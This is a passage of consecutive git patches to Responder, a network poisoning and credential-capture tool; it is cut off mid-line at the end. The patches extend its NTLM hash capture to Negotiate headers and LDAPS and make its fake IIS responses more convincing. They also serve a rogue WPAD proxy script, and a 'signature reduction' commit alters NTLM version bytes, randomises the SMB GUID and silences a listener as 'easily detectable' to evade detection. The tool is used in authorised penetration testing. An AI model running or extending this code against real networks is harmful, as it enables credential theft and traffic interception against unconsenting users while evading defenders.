e9bd8a43ef353a03ba9195236a3aa5faf3788faa Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 14 Dec 2023 18:20:04 +0100 Subject: [PATCH 181/219] fixed 'SyntaxWarning: invalid escape sequence' for Python 3.12+ --- packets.py | 2 +- servers/SMB.py | 4 ++-- settings.py | 4 ++-- utils.py | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) mode change 100755 => 100644 packets.py mode change 100755 => 100644 settings.py mode change 100755 => 100644 utils.py diff --git a/packets.py b/packets.py old mode 100755 new mode 100644 index e8503f5..931548d --- a/packets.py +++ b/packets.py @@ -215,7 +215,7 @@ class DNS_SRV_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] DNSName = ''.join(data[12:].split('\x00')[:1]) - SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld + SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld #What's the question? we need it first to calc all other len. self.fields["QuestionName"] = DNSName diff --git a/servers/SMB.py b/servers/SMB.py index d6920aa..b93ebb7 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -209,7 +209,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP pass ##Negotiate proto answer SMBv2. - if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data): + if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data): head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") t = SMB2NegoAns() t.calculate() @@ -247,7 +247,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP data = self.request.recv(1024) # Negotiate Protocol Response smbv1 - if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None: + if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None: Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) Body.calculate() diff --git a/settings.py b/settings.py old mode 100755 new mode 100644 index 6d085d6..86302fa --- a/settings.py +++ b/settings.py @@ -243,10 +243,10 @@ class Settings: if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): - print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) + print(utils.color("/!\\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) if not os.path.exists(self.Exe_Filename): - print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) + print(utils.color("/!\\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) # SSL Options self.SSLKey = config.get('HTTPS Server', 'SSLKey') diff --git a/utils.py b/utils.py old mode 100755 new mode 100644 index 34e0c3f..ff7169a --- a/utils.py +++ b/utils.py @@ -180,7 +180,7 @@ def IsOsX(): def IsIPv6IP(IP): if IP == None: return False - regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" + regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" ret = re.search(regex, IP) if ret: return True From 6d61f0439c1779767c9ea9840ac433ed98e672cd Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 4 Jan 2024 14:50:44 +0100 Subject: [PATCH 182/219] added LDAPS listener fixes #263 --- Responder.py | 1 + 1 file changed, 1 insertion(+) diff --git a/Responder.py b/Responder.py index 2116864..7642752 100755 --- a/Responder.py +++ b/Responder.py @@ -349,6 +349,7 @@ def main(): if settings.Config.LDAP_On_Off: from servers.LDAP import LDAP, CLDAP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) + threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) if settings.Config.MQTT_On_Off: From 20cdd9c7c23e620e3d530f76003b94407882e9cd Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 4 Jan 2024 15:26:26 +0100 Subject: [PATCH 183/219] fixed a TypeError in MSSQLBrowser fixes #251 --- servers/MSSQL.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) mode change 100755 => 100644 servers/MSSQL.py diff --git a/servers/MSSQL.py b/servers/MSSQL.py old mode 100755 new mode 100644 index ce53f12..5efd26c --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -169,7 +169,7 @@ class MSSQLBrowser(BaseRequestHandler): if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") elif data[0:1] == b'\x04': # CLNT_UCAST_INST - self.send_response(soc, data[1:].rstrip("\x00")) + self.send_response(soc, data[1:].rstrip(b"\x00")) elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) From 08e44d72acd563910c153749b3c204ce0304bdd1 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 15:38:41 -0300 Subject: [PATCH 184/219] removed useless string --- settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 6d085d6..279f579 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.3.0' +__version__ = 'Responder 3.1.4.0' class Settings: @@ -236,7 +236,7 @@ class Settings: self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') if len(self.HtmlToInject) == 0: - self.HtmlToInject = "Loading" + self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "Loading" if len(self.WPAD_Script) == 0: self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' From 66ee7f8f08f57926f5b3694ffb9e87619eee576f Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 17:11:14 -0300 Subject: [PATCH 185/219] Fixed issue in http srv, more hashes & signature reduction. --- packets.py | 132 ++++++++++++++++++++++++++++++++++++----------- servers/HTTP.py | 41 +++++++++++++-- servers/WinRM.py | 9 +++- 3 files changed, 147 insertions(+), 35 deletions(-) diff --git a/packets.py b/packets.py index e8503f5..997b102 100755 --- a/packets.py +++ b/packets.py @@ -365,7 +365,7 @@ class NTLM_Challenge(Packet): ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), @@ -426,25 +426,59 @@ class NTLM_Challenge(Packet): class IIS_Auth_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"), + ("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"), + ("Len", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", """ + + + +401 - Unauthorized: Access is denied due to invalid credentials. + + + +

+
+
+

401 - Unauthorized: Access is denied due to invalid credentials.

+

You do not have permission to view this directory or page using the credentials that you supplied.

+
+
+ + +"""), ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) class IIS_Auth_Granted(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), - ("Payload", "\n\n\n\nLoading\n\n\n"), + ("Payload", ""), ]) def calculate(self): self.fields["ActualLen"] = len(str(self.fields["Payload"])) @@ -452,22 +486,29 @@ class IIS_Auth_Granted(Packet): class IIS_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "WWW-Authenticate: NTLM "), ("Payload", ""), ("Payload-CRLF", "\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload2", """ +Not Authorized + +

Not Authorized

+

HTTP Error 401. The requested resource requires user authentication.

+ +"""), ]) - - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload2"])) class WinRM_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ - ("Code", "HTTP/1.1 401 \r\n"), + ("Code", "HTTP/1.1 401\r\n"), ("WWWAuth", "WWW-Authenticate: Negotiate "), ("Payload", ""), ("Payload-CRLF", "\r\n"), @@ -483,21 +524,52 @@ class WinRM_NTLM_Challenge_Ans(Packet): class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), - ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), - ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Len", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", """ + + + +401 - Unauthorized: Access is denied due to invalid credentials. + + + + +
+
+

401 - Unauthorized: Access is denied due to invalid credentials.

+

You do not have permission to view this directory or page using the credentials that you supplied.

+
+
+ + +"""), ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) ##### Proxy mode Packets ##### class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("ContentLen", "Content-Length: "), @@ -514,7 +586,7 @@ class ServeExeFile(Packet): ("ContentType", "Content-Type: application/octet-stream\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("Server", "Server: Microsoft-IIS/10.0\r\n"), ("ContentDisp", "Content-Disposition: attachment; filename="), ("ContentDiFile", ""), ("FileCRLF", ";\r\n"), @@ -536,7 +608,7 @@ class ServeHtmlFile(Packet): ("ContentType", "Content-Type: text/html\r\n"), ("LastModified", "Last-Modified: "+HTTPCurrentDate()+"\r\n"), ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("Server", "Server: Microsoft-IIS/10.0\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("Date", "\r\nDate: "+HTTPCurrentDate()+"\r\n"), @@ -551,7 +623,7 @@ class ServeHtmlFile(Packet): class WPAD_Auth_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), @@ -567,7 +639,7 @@ class WPAD_Auth_407_Ans(Packet): class WPAD_NTLM_Challenge_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWWAuth", "Proxy-Authenticate: NTLM "), @@ -583,7 +655,7 @@ class WPAD_NTLM_Challenge_Ans(Packet): class WPAD_Basic_407_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: text/html\r\n"), ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"Authentication Required\"\r\n"), @@ -600,7 +672,7 @@ class WEBDAV_Options_Answer(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), - ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"), ("Len", "Content-Length: 0\r\n"), ("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"), @@ -688,7 +760,7 @@ class MSSQLNTLMChallengeAnswer(Packet): ("TargetInfoLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("TargetNameStr", settings.Config.Domain), ("Av1", "\x02\x00"),#nbt name ("Av1Len", "\x06\x00"), @@ -1696,7 +1768,7 @@ class SMB2NegoAns(Packet): ("Signing", "\x01\x00"), ("Dialect", "\xff\x02"), ("Reserved", "\x00\x00"), - ("Guid", "\xee\x85\xab\xf7\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x76\xa9"), + ("Guid", urandom(16).decode('latin-1')), ("Capabilities", "\x07\x00\x00\x00"), ("MaxTransSize", "\x00\x00\x10\x00"), ("MaxReadSize", "\x00\x00\x10\x00"), diff --git a/servers/HTTP.py b/servers/HTTP.py index 91acf3f..c35df51 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -167,6 +167,7 @@ def GrabURL(data, host): # Handle HTTP packet sequence. def PacketSequence(data, client, Challenge): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) + NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) # Serve the .exe if needed @@ -193,7 +194,7 @@ def PacketSequence(data, client, Challenge): Buffer.calculate() Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) - #Buffer_Ans.calculate(Buffer) + Buffer_Ans.calculate() return Buffer_Ans if Packet_NTLM == b'\x03': @@ -212,6 +213,36 @@ def PacketSequence(data, client, Challenge): Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return Buffer + + elif NTLM_Auth2: + Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9] + if Packet_NTLM == b'\x01': + GrabURL(data, client) + #GrabReferer(data, client) + GrabCookie(data, client) + + Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) + Buffer.calculate() + Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) + Buffer_Ans.calculate() + return Buffer_Ans + + if Packet_NTLM == b'\x03': + NTLM_Auth = b64decode(''.join(NTLM_Auth2)) + if IsWebDAV(data): + module = "WebDAV" + else: + module = "HTTP" + ParseHTTPHash(NTLM_Auth, Challenge, client, module) + + if settings.Config.Force_WPAD_Auth and WPAD_Custom: + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) + + return WPAD_Custom + else: + Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) + Buffer.calculate() + return Buffer elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) @@ -239,12 +270,16 @@ def PacketSequence(data, client, Challenge): return Buffer else: if settings.Config.Basic: - Response = IIS_Basic_401_Ans() + r = IIS_Basic_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: - Response = IIS_Auth_401_Ans() + r = IIS_Auth_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) diff --git a/servers/WinRM.py b/servers/WinRM.py index dda1355..dcdd013 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -125,12 +125,16 @@ def PacketSequence(data, client, Challenge): return Buffer else: if settings.Config.Basic: - Response = IIS_Basic_401_Ans() + r = IIS_Basic_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: - Response = IIS_Auth_401_Ans() + r = IIS_Auth_401_Ans() + r.calculate() + Response = r if settings.Config.Verbose: print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) @@ -176,5 +180,6 @@ class WinRM(BaseRequestHandler): except: self.request.close() + raise pass From 700b7d6222afe3c1d6fb17a0a522e1166e6ad025 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 17:15:24 -0300 Subject: [PATCH 186/219] removed patreon donation link. --- .github/FUNDING.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml index 25f74ef..a3773ad 100644 --- a/.github/FUNDING.yml +++ b/.github/FUNDING.yml @@ -1,3 +1,2 @@ github: lgandx -patreon: PythonResponder custom: 'https://paypal.me/PythonResponder' From 66363177998ae230d34bed14cdc0c7ffb1051242 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 17:31:16 -0300 Subject: [PATCH 187/219] updated donation link --- utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils.py b/utils.py index 34e0c3f..ef8fc31 100755 --- a/utils.py +++ b/utils.py @@ -471,7 +471,7 @@ def banner(): print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) print('') print(" To support this project:") - print(" Patreon -> https://www.patreon.com/PythonResponder") + print(" Github -> https://github.com/sponsors/lgandx") print(" Paypal -> https://paypal.me/PythonResponder") print('') print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") From ec3349cb1e771738f1cf62554b41b7a32f5ae801 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 18:22:08 -0300 Subject: [PATCH 188/219] minor bugs --- packets.py | 4 ++-- servers/HTTP.py | 19 +------------------ 2 files changed, 3 insertions(+), 20 deletions(-) diff --git a/packets.py b/packets.py index 8fbcc87..12351f4 100644 --- a/packets.py +++ b/packets.py @@ -569,9 +569,9 @@ background-color:#555555;} class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerType", "Server: Microsoft-IIS/10.0\r\n"), - ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("Cache", "Pragma: no-cache\r\n"), + ("Server", "Server: BigIP\r\n"), ("ContentLen", "Content-Length: "), ("ActualLen", "76"), ("CRLF", "\r\n\r\n"), diff --git a/servers/HTTP.py b/servers/HTTP.py index c35df51..70b6b63 100644 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -96,26 +96,9 @@ def GrabReferer(data, host): return Referer return False -def SpotFirefox(data): - UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data) - if UserAgent: - print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))) - IsFirefox = re.search('Firefox', UserAgent[0]) - if IsFirefox: - print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)) - print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)) - return True - else: - return False - def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) - if Wpad and SpotFirefox(data): - Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}") - Buffer.calculate() - return str(Buffer) - - if Wpad and SpotFirefox(data) == False: + if Wpad: Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer.calculate() return str(Buffer) From 39f8cbb9313aeb60a0935ddedd00f9b3fb575961 Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 18:39:01 -0300 Subject: [PATCH 189/219] various changes. --- Responder.py | 6 +++++- settings.py | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/Responder.py b/Responder.py index 7642752..ef945c5 100755 --- a/Responder.py +++ b/Responder.py @@ -54,6 +54,10 @@ elif options.OURIP == None and IsOsX() == True: print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") parser.print_help() exit(-1) + +elif options.ProxyAuth_On_Off and options.WPAD_On_Off: + print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n") + exit(-1) settings.init() settings.Config.populate(options) @@ -312,7 +316,7 @@ def main(): if settings.Config.WPAD_On_Off: from servers.HTTP_Proxy import HTTP_Proxy - threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,))) + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) if settings.Config.ProxyAuth_On_Off: from servers.Proxy_Auth import Proxy_Auth diff --git a/settings.py b/settings.py index 33f2d81..20f1672 100644 --- a/settings.py +++ b/settings.py @@ -239,7 +239,11 @@ class Settings: self.HtmlToInject = ""# Let users set it up themself in Responder.conf. "Loading" if len(self.WPAD_Script) == 0: - self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}' + if self.WPAD_On_Off: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}' + + if self.ProxyAuth_On_Off: + self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; DIRECT";}' if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): From ee5ab9a5fd53dabe44ca551e00a001954d23532c Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 19:04:15 -0300 Subject: [PATCH 190/219] default -> py3 --- DumpHash.py | 2 +- Report.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/DumpHash.py b/DumpHash.py index 6ce39db..daf0382 100755 --- a/DumpHash.py +++ b/DumpHash.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com diff --git a/Report.py b/Report.py index a05e6e7..ff09e16 100755 --- a/Report.py +++ b/Report.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com From 4b14455bdc38d83dda7a417cf470e02ed0040cba Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 19:50:16 -0300 Subject: [PATCH 191/219] minor fix on ldap --- packets.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packets.py b/packets.py index 12351f4..3ec9dec 100644 --- a/packets.py +++ b/packets.py @@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet): ("NTLMSSPNtTargetInfoLen", "\x94\x00"), ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh", "\x05"), - ("NegTokenInitSeqMechMessageVersionLow", "\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), + ("NegTokenInitSeqMechMessageVersionHigh", "\x0a"), + ("NegTokenInitSeqMechMessageVersionLow", "\x00"), + ("NegTokenInitSeqMechMessageVersionBuilt", "\x7c\x4f"), ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), ("NTLMSSPNtWorkstationName", settings.Config.Domain), From e564e5159b9a1bfe3c5f1101b3ab11672e0fd46b Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 4 Jan 2024 20:37:45 -0300 Subject: [PATCH 192/219] removed bowser listener --- Responder.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Responder.py b/Responder.py index ef945c5..aff4ff5 100755 --- a/Responder.py +++ b/Responder.py @@ -285,9 +285,11 @@ def main(): threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) + #// Vintage Responder BOWSER module, now disabled by default. + #// Generate to much noise & easily detectable on the network when in analyze mode. # Load Browser Listener - from servers.Browser import Browser - threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) + #from servers.Browser import Browser + #threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) if 